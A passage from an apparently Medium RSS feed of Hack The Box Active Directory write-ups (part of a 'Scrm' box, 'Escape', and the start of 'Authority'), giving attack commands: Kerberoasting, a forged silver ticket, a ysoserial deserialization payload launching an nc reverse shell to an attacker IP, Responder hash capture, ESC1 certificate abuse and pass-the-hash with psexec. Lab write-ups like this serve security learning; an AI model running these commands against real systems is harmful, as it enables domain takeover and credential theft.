Directory LDAP (Domain: scrm.local, Site: Default-First-Site-Name)<br>|_ssl-date: 2026-05-31T12:27:29+00:00; -1s from scanner time.<br>| ssl-cert: Subject: <br>| Subject Alternative Name: DNS:DC1.scrm.local<br>| Not valid before: 2024-09-04T11:14:45<br>|_Not valid after:  2121-06-08T22:39:53<br>4411/tcp  open  found?<br>| fingerprint-strings: <br>|   DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, NCP, NotesRPC, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, giop, ms-sql-s, oracle-tns: <br>|     SCRAMBLECORP_ORDERS_V1.0.3;<br>|   FourOhFourRequest, GetRequest, HTTPOptions, Help, LPDString, RTSPRequest, SIPOptions: <br>|     SCRAMBLECORP_ORDERS_V1.0.3;<br>|_    ERROR_UNKNOWN_COMMAND;<br>5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>|_http-title: Not Found<br>9389/tcp  open  mc-nmf        .NET Message Framing<br>49667/tcp open  unknown<br>49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0<br>49674/tcp open  msrpc         Microsoft Windows RPC<br>49698/tcp open  msrpc         Microsoft Windows RPC<br>49703/tcp open  msrpc         Microsoft Windows RPC<br>49720/tcp open  msrpc         Microsoft Windows RPC<br>2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :<br>==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============<br>SF-Port139-TCP:V=7.98%I=7%D=5/31%Time=6A1C2869%P=x86_64-pc-linux-gnu%r(Get<br>SF:Request,5,&quot;\x83\0\0\x01\x8f&quot;)%r(GenericLines,5,&quot;\x83\0\0\x01\x8f&quot;)%r(HT<br>SF:TPOptions,5,&quot;\x83\0\0\x01\x8f&quot;)%r(RTSPRequest,5,&quot;\x83\0\0\x01\x8f&quot;)%r(R<br>SF:PCCheck,5,&quot;\x83\0\0\x01\x8f&quot;)%r(DNSVersionBindReqTCP,5,&quot;\x83\0\0\x01\x8<br>SF:f&quot;)%r(DNSStatusRequestTCP,5,&quot;\x83\0\0\x01\x8f&quot;)%r(Help,5,&quot;\x83\0\0\x01\<br>SF:x8f&quot;)%r(SSLSessionReq,5,&quot;\x83\0\0\x01\x8f&quot;)%r(TerminalServerCookie,5,&quot;\<br>SF:x83\0\0\x01\x8f&quot;)%r(TLSSessionReq,5,&quot;\x83\0\0\x01\x8f&quot;)%r(Kerberos,5,&quot;\<br>SF:x83\0\0\x01\x8f&quot;)%r(X11Probe,5,&quot;\x83\0\0\x01\x8f&quot;)%r(FourOhFourRequest,<br>SF:5,&quot;\x83\0\0\x01\x8f&quot;)%r(LPDString,5,&quot;\x83\0\0\x01\x8f&quot;)%r(LDAPSearchReq<br>SF:,5,&quot;\x83\0\0\x01\x8f&quot;)%r(LDAPBindReq,5,&quot;\x83\0\0\x01\x8f&quot;)%r(SIPOptions<br>SF:,5,&quot;\x83\0\0\x01\x8f&quot;)%r(LANDesk-RC,5,&quot;\x83\0\0\x01\x8f&quot;)%r(NCP,5,&quot;\x83<br>SF:\0\0\x01\x8f&quot;)%r(NotesRPC,5,&quot;\x83\0\0\x01\x8f&quot;)%r(JavaRMI,5,&quot;\x83\0\0\x<br>SF:01\x8f&quot;)%r(WMSRequest,5,&quot;\x83\0\0\x01\x8f&quot;)%r(oracle-tns,5,&quot;\x83\0\0\x0<br>SF:1\x8f&quot;)%r(ms-sql-s,5,&quot;\x83\0\0\x01\x8f&quot;)%r(afp,5,&quot;\x83\0\0\x01\x8f&quot;)%r(<br>SF:giop,5,&quot;\x83\0\0\x01\x8f&quot;);<br>==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============<br>SF-Port4411-TCP:V=7.98%I=7%D=5/31%Time=6A1C2869%P=x86_64-pc-linux-gnu%r(Ge<br>SF:nericLines,1D,&quot;SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n&quot;)%r(GetRequest,35,&quot;SCR<br>SF:AMBLECORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNOWN_COMMAND;\r\n&quot;)%r(HTTPOption<br>SF:s,35,&quot;SCRAMBLECORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNOWN_COMMAND;\r\n&quot;)%r(R<br>SF:TSPRequest,35,&quot;SCRAMBLECORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNOWN_COMMAND;\<br>SF:r\n&quot;)%r(RPCCheck,1D,&quot;SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n&quot;)%r(DNSVersionBi<br>SF:ndReqTCP,1D,&quot;SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n&quot;)%r(DNSStatusRequestTCP,<br>SF:1D,&quot;SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n&quot;)%r(Help,35,&quot;SCRAMBLECORP_ORDERS_<br>SF:V1\.0\.3;\r\nERROR_UNKNOWN_COMMAND;\r\n&quot;)%r(SSLSessionReq,1D,&quot;SCRAMBLEC<br>SF:ORP_ORDERS_V1\.0\.3;\r\n&quot;)%r(TerminalServerCookie,1D,&quot;SCRAMBLECORP_ORDE<br>SF:RS_V1\.0\.3;\r\n&quot;)%r(TLSSessionReq,1D,&quot;SCRAMBLECORP_ORDERS_V1\.0\.3;\r\<br>SF:n&quot;)%r(Kerberos,1D,&quot;SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n&quot;)%r(SMBProgNeg,1D,<br>SF:&quot;SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n&quot;)%r(X11Probe,1D,&quot;SCRAMBLECORP_ORDERS<br>SF:_V1\.0\.3;\r\n&quot;)%r(FourOhFourRequest,35,&quot;SCRAMBLECORP_ORDERS_V1\.0\.3;\<br>SF:r\nERROR_UNKNOWN_COMMAND;\r\n&quot;)%r(LPDString,35,&quot;SCRAMBLECORP_ORDERS_V1\<br>SF:.0\.3;\r\nERROR_UNKNOWN_COMMAND;\r\n&quot;)%r(LDAPSearchReq,1D,&quot;SCRAMBLECORP<br>SF:_ORDERS_V1\.0\.3;\r\n&quot;)%r(LDAPBindReq,1D,&quot;SCRAMBLECORP_ORDERS_V1\.0\.3;<br>SF:\r\n&quot;)%r(SIPOptions,35,&quot;SCRAMBLECORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNOWN_<br>SF:COMMAND;\r\n&quot;)%r(LANDesk-RC,1D,&quot;SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n&quot;)%r(T<br>SF:erminalServer,1D,&quot;SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n&quot;)%r(NCP,1D,&quot;SCRAMBL<br>SF:ECORP_ORDERS_V1\.0\.3;\r\n&quot;)%r(NotesRPC,1D,&quot;SCRAMBLECORP_ORDERS_V1\.0\.<br>SF:3;\r\n&quot;)%r(JavaRMI,1D,&quot;SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n&quot;)%r(WMSRequest<br>SF:,1D,&quot;SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n&quot;)%r(oracle-tns,1D,&quot;SCRAMBLECORP_<br>SF:ORDERS_V1\.0\.3;\r\n&quot;)%r(ms-sql-s,1D,&quot;SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n<br>SF:&quot;)%r(afp,1D,&quot;SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n&quot;)%r(giop,1D,&quot;SCRAMBLECOR<br>SF:P_ORDERS_V1\.0\.3;\r\n&quot;);<br>Service Info: Host: DC1; OS: Windows; CPE: cpe:/o:microsoft:windows<br><br>Host script results:<br>|_clock-skew: mean: -1s, deviation: 0s, median: -1s<br>| smb2-security-mode: <br>|   3.1.1: <br>|_    Message signing enabled and required<br>| smb2-time: <br>|   date: 2026-05-31T12:26:50<br>|_  start_date: N/A<br><br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 242.37 seconds</pre><p>Domain: <strong>scrm.local </strong><br>Domain Controller: <strong>dc1.scrm.local</strong></p><p>We see that the http service is running on port 80:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KioZTv_k-pcMyl--3zDcjQ.png" /></figure><p>Note that port 4411 is not standard. Let’s look at the banner with <strong>nc</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/427/1*l6o9oURplVpr1o3eQ4aexg.png" /></figure><p>This is similar to a program used internally.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dpU7ByIDhn8J7WVWCtd-Rw.png" /></figure><p>NTLM authentication has been disabled on the site for security purposes. Because NTLM is disabled, we will no longer be able to use some standard tools.</p><p>It is possible to find some possible usernames on the “<strong>Contacting IT support</strong>” page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tdIDN40SMPtJepEkQr0b-A.png" /></figure><p>On the “<strong>Request a password reset</strong>” page, the Support team noted that if the password is forgotten, the password will be the same as the username.</p><p>We can write usernames to a file and check them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PhJEBcczmTh9Mcp1SwJYIg.png" /></figure><p>We now know that the password for the user <strong>ksimpson </strong>is also <strong>ksimpson</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C84wgi_eek_HpXARvyiVAA.png" /></figure><p>The user ksimpson has <strong>read </strong>permission to the <strong>Public </strong>share. Since NTLM is disabled, you can join the share with i<strong>mpacket-smbclient</strong>.</p><pre>impacket-smbclient scrm.local/ksimpson:ksimpson@dc1.scrm.local  -k</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K_PmOOmvauAW7_EvVeMCzQ.png" /></figure><p>The pdf file does not contain any credentials. It only tells how the attacker compromised the network. And the useful information here is that it provides information about the<em> existence of credentials in the SQL database.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/611/1*u9JlKT8c6ED6dhfEDE-6Bg.png" /></figure><blockquote><strong>Kerberoasting</strong></blockquote><p>Since we now have an active username and password on the domain, we can perform a Kerberosting attack.</p><p><strong><em>NOTE:</em></strong><em><br>Kerberoasting-In this attack, the SPN (Service Principal Name) of service accounts is targeted. The attacker sends a request to the Domain Controller with a trusted domain user account and obtains a Service Ticket (TGS) for that SPN.</em></p><p>Obtaining ST for a user with an SPN.</p><pre>impacket-GetUserSPNs -dc-host dc1.scrm.local scrm.local/ksimpson:ksimpson -request -k</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hRP2Dn8d9U_64FNNM3vA0w.png" /></figure><p>As we can see, the <strong>sqlsvc </strong>user is a service account. <strong><em>SPN:</em></strong><em>MSSQLSvc/dc1.scrm.local:1433.</em><br>We can crack the hash offline with brute force.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/1*asZDVvD6tJQ2G0BjDT8laA.png" /></figure><blockquote><strong>Silver Ticket attack</strong></blockquote><p><strong><em>Note:</em></strong><em><br>A Silver Ticket attack is the process of creating a fake access ticket to a specific targeted service (e.g. MSSQL, CIFS/Share, HTTP, WinRM) by exploiting a vulnerability in the Kerberos authentication protocol in Active Directory (AD) environments.</em></p><p>For a silver ticket attack, we need the <strong><em>NTLM hash</em></strong><em>, </em><strong><em>domain SID</em></strong><em>, and </em><strong><em>SPN of the service account</em></strong>.</p><p><a href="https://www.browserling.com/tools/ntlm-hash">NTLM hash generator</a>.<br>Obtaining a domain SID:</p><pre>impacket-getPac scrm.local/ksimpson:ksimpson -targetUser Administrator</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*jL1TT8fDusDRn14Z0hL0gQ.png" /></figure><p>Creating a fake TGS.</p><pre>impacket-ticketer -nthash B999A16500B87D17EC7F2E2A68778F05 -domain-sid S-1-5-21-2743207045-1827831105-2542523200 -domain scrm.local -spn SPN:MSSQLSvc/dc1.scrm.local:1433 administrator</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aO0m5LUTTGw0lHaxbDYhlg.png" /></figure><pre>export KRB5CCNAME=administrator.ccache </pre><p>Connecting to <strong>MSSQL </strong>with <strong>TGS:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/1*y8hIwMfkCjIFRul-0o_sqA.png" /></figure><p>We just mentioned that the PDF contains credentials in the database. So let’s look at the tables one by one.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/566/1*6ou3VmyClTh1uj_MRTPqOA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*THqvmSx6g57yW12FQuYm_Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/796/1*--NooHPGuwG7_bGTKkmtrA.png" /></figure><p>We can execute commands on the system by activating the <strong>xp_cmdshell </strong>function. Let’s get a reverse shell using this method.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Sio8Gnsy0n-P_FXNxVPC-g.png" /></figure><p>Reverse-shell:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*F2rXEqR0xu3p8XdOqlrL6g.png" /></figure><p>I couldn’t find anything useful from this user system. Let’s look at the permissions for smb shares with the <strong>miscsvc </strong>user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-91cTO-1Qm4RKkmWfCKlqw.png" /></figure><p>We have read permission on the non-default<strong> IT</strong> share.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/1*Ws2bqI1uq_WLrLCACkFyXg.png" /></figure><p>To run the program, I put the files in a Windows VM. You need to disconnect to VPN on the attacker machine and connect to VPN in Windows. And edit the <strong>C:\windows\system32\drivers\etc\hosts</strong> file as follows:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/744/1*AY7ABfZwnDt6615K4bnMOA.png" /></figure><p>I used <strong>OpenVPN </strong>to connect to the VPN.After running the program, type <strong>dc1.scrm.local</strong> in the server section of edit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/459/1*Uvkbs9yJkmGwL0ECTZIqlg.png" /></figure><p>The program has a login section and I checked all domain users there but couldn’t get any results.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/350/1*ts6jafYqeS5ou7NcD_R8ug.png" /></figure><blockquote><strong>Reverse Engineering</strong></blockquote><p>If we examine the exe file with strings, we can see that it is an executable file written in <strong>.NET</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/557/1*j4XGm3Iv_rSWo4ryzb2RVA.png" /></figure><p>I used the <a href="https://github.com/icsharpcode/ilspy"><strong>ILSpy </strong></a>tool to decompile the exe file.<br>When looking at the source code, we can see that if the username is <strong>scrmdev</strong>, there is no need to enter a password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/507/1*-KWK6HXwaUASoaSExgcnZw.png" /></figure><p>We were able to log in directly with the <strong>scrmdev </strong>user without entering a password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/845/1*c6VpphlnDpASjkX2VVqcig.png" /></figure><p>The program also has a <strong>debug logging</strong> function, which writes the processes that occur when creating a new order to a log file in the folder where the app is located.The function can be enabled from the <strong>tools </strong>section.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kElCjww0K1oFdvM9C460tA.png" /><figcaption>debug log</figcaption></figure><p>We can see from the log file that the data is first converted to binary and then serialized. A connection is established with the server and sent using the <strong>UPLOAD_ORDER </strong>function. Then, the <strong>deserilization </strong>process takes place on the server. If we can send this data ourselves, <strong>insecure deserilization</strong> will have occurred here. And we will be able to execute our malicious code on the server. Let’s establish a connection with <strong>nc </strong>and check.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/984/1*8UMCox57lieRk3lXDohG7Q.png" /></figure><p>This is great news, we can send serialized data. You can use<a href="https://github.com/pwntester/ysoserial.net/releases/tag/v1.36"><strong> ysoserial.exe</strong></a> for this.</p><p>First, let’s create a <em>malicious payload</em> with <em>ysoserial.exe.</em>I used <strong>nc </strong>to get a reverse shell.(I downloaded <strong>nc </strong>to the <strong>Temp folder </strong>on the target machine)</p><pre>ysoserial.exe -f BinaryFormatter -g WindowsIdentity -o base64 -c &quot;C:\Temp\nc.exe 10.10.14.87 4242 -e powershell.exe&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AcqFQOC0yC8_BL3KtjOfTQ.png" /></figure><p>Let’s send the serialized payload to the server and get a reverse shell:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sNs2NvKhThhYLCifPYAfvw.png" /><figcaption>system</figcaption></figure><p>If I make any mistakes, don’t hesitate to let me know.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=97083102236e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB: Escape]]></title>
            <link>https://medium.com/@s4m1r/htb-escape-e52b2ecff722?source=rss-d41e44d03d56------2</link>
            <guid isPermaLink="false">https://medium.com/p/e52b2ecff722</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[esc1-attack]]></category>
            <category><![CDATA[escape]]></category>
            <category><![CDATA[active-directory-pentest]]></category>
            <category><![CDATA[htb-writeup]]></category>
            <dc:creator><![CDATA[Nazarov Samir]]></dc:creator>
            <pubDate>Fri, 29 May 2026 13:37:32 GMT</pubDate>
            <atom:updated>2026-05-29T13:37:32.380Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*zZlKzbo1eA_g4Tp3.png" /></figure><p>Machine link: <a href="https://app.hackthebox.com/machines/Escape">https://app.hackthebox.com/machines/Escape</a></p><blockquote><strong>Enumeration &amp; Foothold</strong></blockquote><p>Nmap scan:</p><pre>nmap -sCV -p- -T4 --min-rate 10000 10.129.228.253  -oN nmap_result<br>Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-29 15:29 -0400<br>Nmap scan report for sequel.htb (10.129.228.253)<br>Host is up (0.085s latency).<br>Not shown: 65516 filtered tcp ports (no-response)<br>PORT      STATE SERVICE       VERSION<br>53/tcp    open  domain        Simple DNS Plus<br>88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-05-29 20:29:32Z)<br>135/tcp   open  msrpc         Microsoft Windows RPC<br>139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn<br>389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: sequel.htb, Site: Default-First-Site-Name)<br>|_ssl-date: 2026-05-29T20:31:11+00:00; +59m40s from scanner time.<br>| ssl-cert: Subject: <br>| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel<br>| Not valid before: 2024-01-18T23:03:57<br>|_Not valid after:  2074-01-05T23:03:57<br>445/tcp   open  microsoft-ds?<br>464/tcp   open  kpasswd5?<br>593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0<br>636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sequel.htb, Site: Default-First-Site-Name)<br>|_ssl-date: 2026-05-29T20:31:11+00:00; +59m40s from scanner time.<br>| ssl-cert: Subject: <br>| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel<br>| Not valid before: 2024-01-18T23:03:57<br>|_Not valid after:  2074-01-05T23:03:57<br>1433/tcp  open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM<br>|_ssl-date: 2026-05-29T20:31:11+00:00; +59m40s from scanner time.<br>| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback<br>| Not valid before: 2026-05-29T20:25:40<br>|_Not valid after:  2056-05-29T20:25:40<br>| ms-sql-info: <br>|   10.129.228.253:1433: <br>|     Version: <br>|       name: Microsoft SQL Server 2019 RTM<br>|       number: 15.00.2000.00<br>|       Product: Microsoft SQL Server 2019<br>|       Service pack level: RTM<br>|       Post-SP patches applied: false<br>|_    TCP port: 1433<br>| ms-sql-ntlm-info: <br>|   10.129.228.253:1433: <br>|     Target_Name: sequel<br>|     NetBIOS_Domain_Name: sequel<br>|     NetBIOS_Computer_Name: DC<br>|     DNS_Domain_Name: sequel.htb<br>|     DNS_Computer_Name: dc.sequel.htb<br>|     DNS_Tree_Name: sequel.htb<br>|_    Product_Version: 10.0.17763<br>3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: sequel.htb, Site: Default-First-Site-Name)<br>| ssl-cert: Subject: <br>| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel<br>| Not valid before: 2024-01-18T23:03:57<br>|_Not valid after:  2074-01-05T23:03:57<br>|_ssl-date: 2026-05-29T20:31:11+00:00; +59m40s from scanner time.<br>3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sequel.htb, Site: Default-First-Site-Name)<br>| ssl-cert: Subject: <br>| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel<br>| Not valid before: 2024-01-18T23:03:57<br>|_Not valid after:  2074-01-05T23:03:57<br>|_ssl-date: 2026-05-29T20:31:11+00:00; +59m40s from scanner time.<br>5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>|_http-title: Not Found<br>9389/tcp  open  mc-nmf        .NET Message Framing<br>49667/tcp open  msrpc         Microsoft Windows RPC<br>49693/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0<br>49694/tcp open  msrpc         Microsoft Windows RPC<br>49710/tcp open  msrpc         Microsoft Windows RPC<br>49720/tcp open  msrpc         Microsoft Windows RPC<br>Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows<br><br>Host script results:<br>| smb2-time: <br>|   date: 2026-05-29T20:30:28<br>|_  start_date: N/A<br>|_clock-skew: mean: 59m38s, deviation: 1s, median: 59m39s<br>| smb2-security-mode: <br>|   3.1.1: <br>|_    Message signing enabled and required<br><br></pre><p>Let’s update the hosts file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/1*InjHH-3vSg5qbTIGLycMdw.png" /></figure><p>SMB enumeration:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NQwtvQRWN-Gjomq8FwaHuA.png" /></figure><p>We have <strong>read </strong>permission to the non-standart “<strong>Public” </strong>share.Let’s connect to this share.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B4pGyJA5ln4ttd-nvg4jZw.png" /></figure><p>If we look at the file we downloaded from the SMB share, the credentials are stored in:</p><p><em>PublicUser:GuestUserCantWrite1</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U9m4VfYCBiXFP6SVN23RVg.png" /></figure><p>These are the credentials to connect to <strong>MSSQL</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m16zLEmA9EFqiiBi8NMYhQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/795/1*tKXQZ1G0HD7jjUaxQZMR3Q.png" /></figure><p>Since I didn’t find anything interesting here, I’ll check if the SQL server is authenticating from our machine. If there is a service account for MSSQL, we can get its hash and crack it.</p><pre>responder -İ tun0 -v<br><br>EXEC MASTER.sys.xp_dirtree &#39;\\10.10.14.87\something&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0BJd1CFx73OqGdkHQmyhAw.png" /></figure><p>Due to we getting hash for <strong>sql_svc, </strong>so we can crack it with John.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/994/1*85iqrUufpfXCdKvCGj4ctQ.png" /></figure><p>Let’s confirm this credentials:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RLE6_pCohFG7LXyPBd54bw.png" /></figure><p>Let’s connect with<strong> evil-winrm </strong>using this credentials:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uiL-1PXc4TUx_fxJIKE6iQ.png" /></figure><p>We can find the password for the <strong>ryan.cooper</strong> user in the<strong> ERRORLOG.BAK</strong> file located in C:\SQLSERVER\Logs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_CDZZ2i5gPChikQz_uI09Q.png" /></figure><blockquote><strong>Privilege Escalation</strong></blockquote><p>Let’s scan the templates to check for certificate vulnerabilities.</p><pre>certipy-ad find -u &#39;Ryan.Cooper&#39; -p NuclearMosquito3 -dc-ip 10.129.228.253 -vulnerable -enabled</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v4uVsNmCkVzlbVtEgf9xOQ.png" /></figure><p>Excellent.<strong>UserAuthentication </strong>template is vulnerable to <strong>ESC1</strong>.Let’s request certificate for <strong>administrator </strong>from this template.</p><p><strong><em>Note:<br></em></strong><em>To learn more about the ESC1 attack, click:</em><strong><em> </em></strong><a href="https://medium.com/@s4m1r/adcs-explotation-esc1-72f9011305e8"><strong><em>https://medium.com/@s4m1r/adcs-explotation-esc1-72f9011305e8</em></strong></a></p><pre>certipy-ad req -u &#39;ryan.cooper&#39; -p &#39;NuclearMosquito3&#39; -dc-ip 10.129.228.253 -ca sequel-DC-CA  -target &#39;dc.sequel.htb&#39; -template &#39;UserAuthentication&#39; -upn &#39;administrator@sequel.htb&#39; </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NCf69PcbzNMTqYxadmDsbA.png" /></figure><p>Extracting <strong>Administrator’s </strong>NTLM hash:</p><pre>certipy-ad auth -pfx administrator.pfx -dc-ip 10.129.228.253 </pre><p>If you encounter this <strong>KRB_AP_ERR_SKEW </strong>error, simply run the following two commands in the terminal.</p><pre><br>sudo timedatectl set-ntp off<br>sudo rdate -n 10.129.228.253</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8fqImuX5Pft5dXaNBgYETA.png" /></figure><p><strong>Pass The Hash</strong> atack:</p><pre>impacket-psexec sequel.htb/administrator@10.129.228.253 -hashes  aad3b435b51404eeaad3b435b51404ee:a52f78e4c751e5f5e17e1e9f3e58f4ee</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XzGxlf1F7xwW8xEZ12GOnA.png" /><figcaption>system</figcaption></figure><p>If you encounter any mistakes, please don’t hesitate to let me know.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e52b2ecff722" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB: Authority]]></title>
            <link>https://medium.com/@s4m1r/htb-authority-d59d7cd5c21c?source=rss-d41e44d03d56------2</link>
            <guid isPermaLink="false">https://medium.com/p/d59d7cd5c21c</guid>
            <category><![CDATA[esc1-attack]]></category>
            <category><![CDATA[ad-pentest]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[authority]]></category>
            <category><![CDATA[ad-security]]></category>
            <dc:creator><![CDATA[Nazarov Samir]]></dc:creator>
            <pubDate>Thu, 28 May 2026 16:41:42 GMT</pubDate>
            <atom:updated>2026-05-28T16:41:42.444Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*yIyZ8umgbcLpyJlt.png" /></figure><p>Machine link: <a href="https://app.hackthebox.com/machines/Authority">https://app.hackthebox.com/machines/Authority</a></p><blockquote><strong>Enumeration:</strong></blockquote><p>Nmap scan:</p><pre>nmap -sCV -p- -T4 --min-rate 10000 10.129.5.228  -oN nmap_result<br>Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-28 13:23 -0400<br>Warning: 10.129.5.228 giving up on port because retransmission cap hit (6).<br>Nmap scan report for 10.129.5.228<br>Host is up (0.087s latency).<br>Not shown: 65198 closed tcp ports (reset), 309 filtered tcp ports (no-response)<br>PORT      STATE SERVICE       VERSION<br>53/tcp    open  domain        Simple DNS Plus<br>80/tcp    open  http          Microsoft IIS httpd 10.0<br>|_http-server-header: Microsoft-IIS/10.0<br>| http-methods: <br>|_  Potentially risky methods: TRACE<br>|_http-title: IIS Windows Server<br>88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-05-28 17:27:51Z)<br>135/tcp   open  msrpc         Microsoft Windows RPC<br>139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn<br>389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)<br>|_ssl-date: 2026-05-28T17:28:57+00:00; +4m11s from scanner time.<br>| ssl-cert: Subject: <br>| Subject Alternative Name: othername: UPN:AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB<br>| Not valid before: 2022-08-09T23:03:21<br>|_Not valid after:  2024-08-09T23:13:21<br>445/tcp   open  microsoft-ds?<br>464/tcp   open  kpasswd5?<br>593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0<br>636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)<br>|_ssl-date: 2026-05-28T17:28:56+00:00; +4m10s from scanner time.<br>| ssl-cert: Subject: <br>| Subject Alternative Name: othername: UPN:AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB<br>| Not valid before: 2022-08-09T23:03:21<br>|_Not valid after:  2024-08-09T23:13:21<br>3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: 